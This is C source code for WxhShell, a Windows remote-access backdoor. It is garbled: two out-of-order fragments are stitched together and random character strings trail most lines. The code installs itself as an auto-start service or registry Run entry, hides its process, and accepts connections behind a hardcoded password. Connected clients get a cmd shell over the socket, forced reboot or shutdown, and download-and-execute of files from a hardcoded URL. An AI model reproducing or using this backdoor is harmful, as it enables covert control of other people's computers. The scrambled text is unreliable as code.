  case 'd': { _;{-w%Vf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qg/5m;U  
    if(Boot(SHUTDOWN)) gib]#n1!p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / ["T#`  
    else { ^d*>P|n*@e  
    closesocket(wsh); M)7enp) F.  
    ExitThread(0); V]}b3Y!(  
    } Vvj]2V3  
    break; 8rYK~Sz  
    } %-Z~f~<?  
  // 获取shell @El<"\  
  case 's': { *@nUas 2"  
    CmdShell(wsh); ?s]`G'=>V`  
    closesocket(wsh); i`$rzXcS  
    ExitThread(0); /(aX>_7jg  
    break; A2d2V**Z  
  } ]Yex#K   
  // 退出 ihrrmlN?  
  case 'x': { B(LV22#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z<>_*Lfj  
    CloseIt(wsh); ^@2Vh*k  
    break; #Au&2_O  
    } 6]S.1BP  
  // 离开 "_j7kYAl  
  case 'q': { U^&Cvxc[[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #8jd,I% L  
    closesocket(wsh); 3)a29uc:U  
    WSACleanup(); ltR^IiA}  
    exit(1); <4,?lZ  
    break; FF/R_xnx  
        } ,m,vo_Ub  
  } C 5 UDez  
  } _4$DnQ6&  
;g jp&g9Q  
  // 提示信息 6,1|y%(f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5QJL0fc  
} h$\h PLx  
  } us%RQ8=k  
zQ}N mlk  
  return; CaBS0' n  
} %LHV0u  
rbbuSI  
// shell模块句柄 V?BVk8D};  
int CmdShell(SOCKET sock) Pltju4.:C  
{ K3DJ"NJ<Ji  
STARTUPINFO si; &NeY Kh?  
ZeroMemory(&si,sizeof(si)); 0pa^O$?p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +=Wdn)T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ZUgDQduc  
PROCESS_INFORMATION ProcessInfo; ~+yo;[1Yc  
char cmdline[]="cmd"; wf%Ep#^6}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A> A'dQ69  
  return 0; [uQZD1<q  
} NfF:[qwh  
@0,dyg<$>  
// 自身启动模式  a|uZJ*  
int StartFromService(void) 0K0=Ob^(e  
{ l0if#?4\r  
typedef struct r$Y!Y#hwQ  
{ Ky$G$H  
  DWORD ExitStatus; d/rz0L  
  DWORD PebBaseAddress; LW5ggU/  
  DWORD AffinityMask; $]JIA|  
  DWORD BasePriority; Eo&qc 17)`  
  ULONG UniqueProcessId; F5P{+z7  
  ULONG InheritedFromUniqueProcessId; \|` Pul$  
}   PROCESS_BASIC_INFORMATION; `+c9m^  
#`0z=w/)  
PROCNTQSIP NtQueryInformationProcess; ya g  
}#5roNH~Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C /XyDbH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a' o8n6i  
}p?V5Qp  
  HANDLE             hProcess; Vj`s_IPY  
  PROCESS_BASIC_INFORMATION pbi; 5G;^OI!g  
WV"QY/e3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E=lfg8yb:  
  if(NULL == hInst ) return 0; b2%bgs  
]},Q`n>$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y7EX&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1e&b;l'*=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ![ID0}MjJ  
-Bv1}xf=6  
  if (!NtQueryInformationProcess) return 0; dt&Lwf/  
l(\8c><m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]f-'A>MC  
  if(!hProcess) return 0; %&+R":Bw  
.0W4Dp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L$c%u  
f?^Oy!1]  
  CloseHandle(hProcess); 9~%]|_(  
PFgjWp"Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l'". }6S  
if(hProcess==NULL) return 0; 42wC."A  
lv_%  
HMODULE hMod; edk9Qd9  
char procName[255]; _XNR um4  
unsigned long cbNeeded; <sYw%9V  
7C7(bg,7^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  / !  
{&u7kWD|  
  CloseHandle(hProcess); T^;Jz!e  
ss@}Dt^  
if(strstr(procName,"services")) return 1; // 以服务启动 He-Ja  
UJ)M:~O  
  return 0; // 注册表启动 O8~U<'=*  
} C"Q=(3  
AnE_<sPA  
// 主模块 @3TkD_B&  
int StartWxhshell(LPSTR lpCmdLine) qs1.@l("  
{ 5@t uo`k  
  SOCKET wsl; A+1]Ql)$  
BOOL val=TRUE; ~K$"PK s3  
  int port=0; To{G#QEgG  
  struct sockaddr_in door; xc<eU`-' b  
1S]gD&V  
  if(wscfg.ws_autoins) Install(); _.*4Y  
:Z]hI+7  
port=atoi(lpCmdLine); akc"}+-oX  
qb&N S4#  
if(port<=0) port=wscfg.ws_port; imCl{vt(kj  
xnuv4Z}]t  
  WSADATA data; mc=! X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .Jat^iFj0  
mx(%tz^t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QDgEJ%U-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QD;f~fZ  
  door.sin_family = AF_INET; (6#yw`\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H0b6ZA%n  
  door.sin_port = htons(port); ivUsMhx>S,  
B 6'%J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &Bz7fKCo  
closesocket(wsl); V_A,d8=lt  
return 1; VfA5r`^  
} t6g)3F7T  
w H_n$w  
  if(listen(wsl,2) == INVALID_SOCKET) { iraRB~  
closesocket(wsl); -=t3O#  
return 1; rE{Xo:Cf  
} IL[|CB1v  
  Wxhshell(wsl); E%\7Uo-  
  WSACleanup(); w]Ko/;;^2  
90h1e7ZcC  
return 0; azDC'.3{p  
^Im%D(MY  
} uJ/?+5TU  
9<(K6Q  
// 以NT服务方式启动 8K JQ(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z(k\J|&9C  
{ jle%|8m&@  
DWORD   status = 0; ci_v7Jnwo  
  DWORD   specificError = 0xfffffff; Bpm5dT;  
51ajE2+X&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U_}A{bFG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sAD P~xvU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K)Xs L  
  serviceStatus.dwWin32ExitCode     = 0; W]yClx \  
  serviceStatus.dwServiceSpecificExitCode = 0; _]D#)-uv}C  
  serviceStatus.dwCheckPoint       = 0; ;4/dk_~p]  
  serviceStatus.dwWaitHint       = 0; D"x$^6`c}  
F@K*T2uh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q ~Q)'*m  
  if (hServiceStatusHandle==0) return; ,JQxs7@2k  
0n<(*bfW  
status = GetLastError(); w^due P7J  
  if (status!=NO_ERROR) $uFh$f  
{ ,y8I)+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <jRFN&"h}  
    serviceStatus.dwCheckPoint       = 0; 6mF{ImbRbS  
    serviceStatus.dwWaitHint       = 0; {r].SrW9s9  
    serviceStatus.dwWin32ExitCode     = status; `J=1&ae{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Mi/ &$" =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Ic?:lKN  
    return; V^`?8P8d  
  } 4$?w D <  
zOao&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; inPdV9  
  serviceStatus.dwCheckPoint       = 0; =(|xU?OL  
  serviceStatus.dwWaitHint       = 0; Vh#Mp!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t;LX48 TQ  
} ,na=~.0R:  
N,/BudF o  
// 处理NT服务事件,比如:启动、停止 D-o7yc"K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b,rH&+2H  
{ 2i7i\?<.  
switch(fdwControl) s?@)a,C%k  
{ Tn@UX(^,  
case SERVICE_CONTROL_STOP: }ED nLou  
  serviceStatus.dwWin32ExitCode = 0; vlPl(F1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FV^4   
  serviceStatus.dwCheckPoint   = 0; aucZJjH  
  serviceStatus.dwWaitHint     = 0; S[L#M;n  
  { R*Xu( 89  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sMz^!RX@  
  } ?}=-eJ(7e  
  return; &'huS?g A9  
case SERVICE_CONTROL_PAUSE: J~iOP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W8G9rB|T  
  break; Y[ iDX#  
case SERVICE_CONTROL_CONTINUE: )H;pGM:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C?w <$DU  
  break; &$b\=  
case SERVICE_CONTROL_INTERROGATE: TDAWI_83-  
  break; t":W.q<  
};  %K%^ ]{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q?imE~&U  
} dq YDz  
7>'uj7r]=  
// 标准应用程序主函数 e' U"`)S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |-(IJG#)  
{ jJ*@5?A  
XdGpW  
// 获取操作系统版本 J7'f@X~nM  
OsIsNt=GetOsVer(); X!7VyE+n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ] Wx>)LT  
IP30y>\  
  // 从命令行安装 S]e j=6SP  
  if(strpbrk(lpCmdLine,"iI")) Install(); |RR%bQ^{  
`%t$s,TiP  
  // 下载执行文件 A$%Q4jC}  
if(wscfg.ws_downexe) { >Lw}KO`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UTDcX  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5!'R'x5e  
} HDF!`  
o%Be0~n'  
if(!OsIsNt) { AezvBY0'`z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~|CJsD/  
HideProc(); k]SAJ~bS|  
StartWxhshell(lpCmdLine); {J,6iP{>ZN  
} a>wfhmr  
else ]UX`=+{  
  if(StartFromService()) . ]o3A8  
  // 以服务方式启动 2E`~ qn  
  StartServiceCtrlDispatcher(DispatchTable); U,Z"G1^  
else hWq. #e 6  
  // 普通方式启动 u\{qH!?t  
  StartWxhshell(lpCmdLine); ]Q6+e(:~ZH  
.e`,{G(5q7  
return 0;  ?YqJ.F;  
} w`c0a&7  
r-RCe3%g%  
w=f0*$ue+w  
|Z`M*.d+  
=========================================== @gt)P4yE  
"El^38Ho  
G1kaF/`O  
uP{; *E3?  
b!i`o%Vb  
e#>tM  
" T*h!d(  
D 4< -8  
#include <stdio.h> )Vwj9WD  
#include <string.h> S5i+vUI8C  
#include <windows.h> n K+lE0  
#include <winsock2.h> HQq`pG%m6  
#include <winsvc.h> t *{,Gk  
#include <urlmon.h> ![^EsgEB*  
%ZujCZn  
#pragma comment (lib, "Ws2_32.lib") _9D|u<D  
#pragma comment (lib, "urlmon.lib") #|qm!aGs  
#F_'}?09%  
#define MAX_USER   100 // 最大客户端连接数 FE/$(7rM  
#define BUF_SOCK   200 // sock buffer zuUT S[  
#define KEY_BUFF   255 // 输入 buffer i]it5  
F\>oxttS1  
#define REBOOT     0   // 重启 ZlthYuJ  
#define SHUTDOWN   1   // 关机 j((hqJr  
Y)$52m5rM  
#define DEF_PORT   5000 // 监听端口 QJx9I_  
DdBxqkh  
#define REG_LEN     16   // 注册表键长度 n!GWqle  
#define SVC_LEN     80   // NT服务名长度 mJ)tHv"7  
TE3*ktB{N  
// 从dll定义API (# JMB)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @Z?7E8(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6fh{lx>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l iw,O 6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pj'62[5z  
's)fO#  
// wxhshell配置信息 G49Ng|qn  
struct WSCFG { bfFmTI$,  
  int ws_port;         // 监听端口 31WZJm^  
  char ws_passstr[REG_LEN]; // 口令 $Axng J c  
  int ws_autoins;       // 安装标记, 1=yes 0=no <5dH *K  
  char ws_regname[REG_LEN]; // 注册表键名 x+4v s s  
  char ws_svcname[REG_LEN]; // 服务名 \CcmePTN#x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (nGkZ}p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F[5S(7M 7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )))2f skZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #nKRTb+{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g^1r0.Sp{8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j5kA^MTG  
#C4|@7w%  
}; vCj4;P g  
t)LU\!  
// default Wxhshell configuration brntE:  
struct WSCFG wscfg={DEF_PORT, DlDB=N0@S  
    "xuhuanlingzhe", <nBo}0O}  
    1, bZiyapM  
    "Wxhshell", Y+FP   
    "Wxhshell", qYx!jA]O  
            "WxhShell Service", B$ui:R/ t  
    "Wrsky Windows CmdShell Service", ;TtaH  
    "Please Input Your Password: ", XJUEwX  
  1, 0A.PD rM:  
  "http://www.wrsky.com/wxhshell.exe", _ j~4+H  
  "Wxhshell.exe" oew|23Ytb  
    }; qmEoqU  
z OtkC3hY  
// 消息定义模块 f3 !n$lj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h6g:(3t6m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m=H_?W;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vn'?3Eb<  
char *msg_ws_ext="\n\rExit."; P@C c]Z  
char *msg_ws_end="\n\rQuit."; `mrCu>7  
char *msg_ws_boot="\n\rReboot..."; |"Z-7@/k$i  
char *msg_ws_poff="\n\rShutdown..."; D ZVXz|g  
char *msg_ws_down="\n\rSave to "; o5P&JBX<  
%VWp&a8  
char *msg_ws_err="\n\rErr!"; gt/!~f0r  
char *msg_ws_ok="\n\rOK!"; )!A 2>  
NEMEY7De2  
char ExeFile[MAX_PATH]; Rs2-94$!5  
int nUser = 0; M+0x;53nz  
HANDLE handles[MAX_USER]; wazP,9W?  
int OsIsNt; Wm(:P  
Xtkw Z3  
SERVICE_STATUS       serviceStatus; 8)pB_en3sO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (k8Z=/N~  
/_q#a h  
// 函数声明 bo1I&I  
int Install(void); .3@Ng  
int Uninstall(void); to'j2jP  
int DownloadFile(char *sURL, SOCKET wsh); (etUEb^}T  
int Boot(int flag); yw'ezpO"  
void HideProc(void); JA<~xo[Q9  
int GetOsVer(void); gKWzFnW  
int Wxhshell(SOCKET wsl); GMdI0jaG#  
void TalkWithClient(void *cs); AF GwT%ZD  
int CmdShell(SOCKET sock); ]U[&uymax  
int StartFromService(void); =5ug\S  
int StartWxhshell(LPSTR lpCmdLine); @ u+|=x];  
ZOuR"9]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )!eEO [\d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &Pq\cNYzW  
HyEa_9  
// 数据结构和表定义 "R23Pi  
SERVICE_TABLE_ENTRY DispatchTable[] = LJWTSf"f?  
{ _dr*`yXi  
{wscfg.ws_svcname, NTServiceMain}, 3za`>bUN  
{NULL, NULL} E67XPvo1+@  
}; MKC$;>i  
7/?DPwbx  
// 自我安装 Y%g "Y  
int Install(void) V9T 4 +  
{ N<liS3>  
  char svExeFile[MAX_PATH]; $@2"{9Z  
  HKEY key; Ff<)4`J  
  strcpy(svExeFile,ExeFile); B'p5M.6d#:  
b66R}=P l  
// 如果是win9x系统,修改注册表设为自启动 [/OQyb4F<  
if(!OsIsNt) {  , ]7XMU3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &2{]hRM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :_Fxy5}  
  RegCloseKey(key); Hd 0Xx}3&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vv7PCaq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xhse~=qA  
  RegCloseKey(key); P>wZ~Hjk  
  return 0; #h N.=~  
    } .!yq@Q|=u  
  } 4fty~0i=z  
} uoCGSXsi  
else { Szts<n5  
E*k([ZL  
// 如果是NT以上系统,安装为系统服务 TV=c,*TV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K2HvI7$-  
if (schSCManager!=0) ZoxS*Xk  
{ X2^_~<I{,  
  SC_HANDLE schService = CreateService 6e# wR/  
  ( Cw#V`70a  
  schSCManager, Lm|al.Z  
  wscfg.ws_svcname, Vv4H:BK$  
  wscfg.ws_svcdisp, SA+d&H}Fc  
  SERVICE_ALL_ACCESS, _CE9B e\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h$Tr sO  
  SERVICE_AUTO_START, h<Wg3o  
  SERVICE_ERROR_NORMAL, tpo>1|  
  svExeFile, #ZWl=z5aBi  
  NULL, <KLg0L<W  
  NULL, ^f|<R8`  
  NULL, -~O/NX  
  NULL, V#J"c8n  
  NULL J`<f  
  ); +"uwV1)b"  
  if (schService!=0) <d"Gg/@a  
  { f`|G]da-3o  
  CloseServiceHandle(schService); X NE+(Bt  
  CloseServiceHandle(schSCManager); } 0;Sk(B>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C[8KlD  
  strcat(svExeFile,wscfg.ws_svcname); \Y e%o}.{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iBoEZEHjw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <hv7s,i  
  RegCloseKey(key); $<OhGk-  
  return 0; ug#<LO-.Rd  
    } 2-mQt_ i  
  } # X/Q  
  CloseServiceHandle(schSCManager); E[?kGR[  
} _{Y$o'*#I  
} gS$A   
4AHL3@x  
return 1; <%KUdkzEP  
} ? )_7U  
^ ulps**e  
// 自我卸载 K-(;D4/sQE  
int Uninstall(void) 7'OPjt M  
{ H$tb;:  
  HKEY key; 5v9uHxy  
S}7>RHe  
if(!OsIsNt) { RmOyGSO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uyT/Xzo3  
  RegDeleteValue(key,wscfg.ws_regname); Rp/-Pv   
  RegCloseKey(key); -H\,2FO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O2v.  
  RegDeleteValue(key,wscfg.ws_regname); 5pJ*1pfeo  
  RegCloseKey(key); ]XUSqai  
  return 0; l1<?ONB.#  
  } GwQn;gkF  
} $]*d#`Sy{%  
} <xlm K(  
else { Mm#[&j[Y  
gs`> C(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tcA;#^jc  
if (schSCManager!=0) =i6:puf  
{ qks|d_   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D9-Lg%  
  if (schService!=0) (q~0XE/ a  
  { Of`c`-<j  
  if(DeleteService(schService)!=0) { ]k*1KP  
  CloseServiceHandle(schService); ,4Y*:JU4  
  CloseServiceHandle(schSCManager); [6R fS  
  return 0; gX,9Gh  
  } 2[up+;%Y  
  CloseServiceHandle(schService); A]?^ H<  
  } XDYosC:  
  CloseServiceHandle(schSCManager); a)9rs\Is{  
} p4wr`" Zz  
} V`k8j-*s  
r7I B{}>-  
return 1; JD~aUB%  
} &71e5<(dG  
(F8AL6  
// 从指定url下载文件 n93zD*;5  
int DownloadFile(char *sURL, SOCKET wsh) 6[?}6gQ  
{ sX:lE^)-z  
  HRESULT hr; yVS\Q,:J9  
char seps[]= "/"; sKfXg`0  
char *token; wFL3& *  
char *file; 84M3c  
char myURL[MAX_PATH]; CLN+I'uX0  
char myFILE[MAX_PATH]; %S#WPD'Y  
Hr }k5'  
strcpy(myURL,sURL);  .mPg0  
  token=strtok(myURL,seps); rkYjq4Z@  
  while(token!=NULL) =Od>;|]m  
  { tt4+m>/T  
    file=token; #D)x}#V\  
  token=strtok(NULL,seps); }.{}A(^YR  
  } 9;KJr[FQV  
j|K.i/  
GetCurrentDirectory(MAX_PATH,myFILE); &U &%ka<*  
strcat(myFILE, "\\"); f=I:DkR  
strcat(myFILE, file); ~L4eZ  
  send(wsh,myFILE,strlen(myFILE),0); D;js.ZF  
send(wsh,"...",3,0); Ze ? g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0ar=cuDm  
  if(hr==S_OK) |F!F{d^p  
return 0; E _iO@  
else mU G %LM  
return 1; 8QF`,oXQO  
7GZq|M_:y  
} Z2p> n`D  
+t]Xj1Q  
// 系统电源模块 yP\Up  
int Boot(int flag) ("Dv>&w9  
{ ZBc|438[  
  HANDLE hToken; 8D~x\!(p\  
  TOKEN_PRIVILEGES tkp; ]k+m=OR{/  
_;e\:7<m  
  if(OsIsNt) { D,rZ0?R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z+idLbIs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +?d}7zh  
    tkp.PrivilegeCount = 1; `6Hf&u<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 97!5Q~I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xl] ;*&  
if(flag==REBOOT) { =B(mIx;m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G6O/(8  
  return 0; 9L)L|4A.l  
} I/p]DT  
else { ixw(c&gL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $TG?4  
  return 0; .JAcPyK^  
} F2>%KuM  
  } "mZ.V  
  else { ?R6`qe_F  
if(flag==REBOOT) { 0BTLcEqgZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <_:zI r,  
  return 0; (pYYkR"  
} 9]$`)wZ  
else { Y}.Ystem  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /iC_!nu  
  return 0; WE.Tuo5L  
} 6Rz[?-mkLO  
} GGE[{Gb9  
_#'9kx|)  
return 1; oR %agvc^^  
} JTUNb'#RZ  
lrys3  
// win9x进程隐藏模块 Tbh'_ F6  
void HideProc(void) h%1Y6$  
{ +ld;k/  
Hed$ytMaGz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OM!=ViN(=  
  if ( hKernel != NULL ) V}9;eJRvw  
  { s4t0f_vj`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E`AYee%l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3N< & u   
    FreeLibrary(hKernel); }kPVtSQ  
  } ;CmOsA,1  
4lz{G*u  
return; J{ ~Rxa  
} 9S1#Lr`r  
t[2i$%NVM  
// 获取操作系统版本 zj20;5o>U&  
int GetOsVer(void) xo~g78jm7,  
{ +,_c/(P  
  OSVERSIONINFO winfo; XO wiHW{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S< x:t(  
  GetVersionEx(&winfo); 4/MNqit+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u~'OcO  
  return 1; YIO R$  
  else gX*K&*q   
  return 0; gaeOgP.0  
} J}@GKNm  
rYGRz#:~+  
// 客户端句柄模块 hKksVi  
int Wxhshell(SOCKET wsl) g42T#p8^  
{ IJPgFZ7  
  SOCKET wsh; se,Z#H  
  struct sockaddr_in client; 9} *$n&B  
  DWORD myID; ~3=2=Uf  
AMT slo  
  while(nUser<MAX_USER) h5-d;RKE  
{ \cZfg%PN  
  int nSize=sizeof(client); 8p =>?wG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `C'}e  
  if(wsh==INVALID_SOCKET) return 1; afm_Rrg[  
'h}7YP, w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 93D \R  
if(handles[nUser]==0) E5{n?e  
  closesocket(wsh); t _\MAK  
else *Nlu5(z  
  nUser++; D[~}uZ4\  
  } ;$;rD0i|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @HEPc95  
ou6j*eSN  
  return 0; [g|Hj)(  
} v@_in(dk  
@^CG[:|  
// 关闭 socket {!=2<-Aq  
void CloseIt(SOCKET wsh) ;3 UvkN  
{ 3;y_mg  
closesocket(wsh); :qnokrGzB  
nUser--; 1nB@zBQu -  
ExitThread(0); sqG`"O4W  
} J@` 8(\(  
DHzkRCM  
// 客户端请求句柄 7;xKy'B\  
void TalkWithClient(void *cs) q\H7& w  
{ JZ K7uB,X  
xG%*PNM0q  
  SOCKET wsh=(SOCKET)cs; F+*Q <a4  
  char pwd[SVC_LEN]; k4R4YI"jV  
  char cmd[KEY_BUFF]; 1Z:R,\+L  
char chr[1]; +/q0Y`v  
int i,j; yW> RRE;  
-+P7:4/  
  while (nUser < MAX_USER) { .)`-Hkxa  
F< |c4  
if(wscfg.ws_passstr) { *?N<S$m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <E}N=J'uJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )ddsyFGW  
  //ZeroMemory(pwd,KEY_BUFF); P6we(I`"2  
      i=0; + *a7GttU  
  while(i<SVC_LEN) { \7 Mq $d  
~:Ixmqi}R  
  // 设置超时 q^6N+^}QN  
  fd_set FdRead; Wp4K6x  
  struct timeval TimeOut; *w 21U!  
  FD_ZERO(&FdRead); |EeBSRAfe  
  FD_SET(wsh,&FdRead); o7 arxo\  
  TimeOut.tv_sec=8; @dV9Dpu  
  TimeOut.tv_usec=0; sVoR?peQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : ;TYL[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]xrD<  
" $=qGHA~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (}0S1)7t  
  pwd=chr[0]; cY~M4:vgT  
  if(chr[0]==0xd || chr[0]==0xa) { 4\1;A`2%0  
  pwd=0; M.[wKGX(  
  break; K;C_Z/<%  
  } VN+\>j-  
  i++; w, 7Cr  
    } {]["6V6W  
*(nJX.7  
  // 如果是非法用户,关闭 socket 5H!%0LrJg=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WRM$DA  
} o=mo/N4  
wA",SBGX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D1ZC&B_}-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /.v_N%*-v  
4d-q!lRpa  
while(1) { :<UtHf<=k  
4k$0CbHx0  
  ZeroMemory(cmd,KEY_BUFF); 97]4 :Zv  
`Sx.|`x8  
      // 自动支持客户端 telnet标准   Yj3*)k  
  j=0; QQ~23TlA  
  while(j<KEY_BUFF) { 2L[l'}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qmID-t"  
  cmd[j]=chr[0]; s7M}NA 0  
  if(chr[0]==0xa || chr[0]==0xd) { ^$}/|d(  
  cmd[j]=0; |h D~6a  
  break; cIZ[[(Db  
  } ]b )!YPo  
  j++; D O%Pwfkd  
    } tj0Qr-/  
Y"oDFo,  
  // 下载文件 4y>(RrVG  
  if(strstr(cmd,"http://")) { 6=3(oUl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a7 =YG6[  
  if(DownloadFile(cmd,wsh)) Ge1duRGa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GoL|iNW`  
  else YM8rJ-  
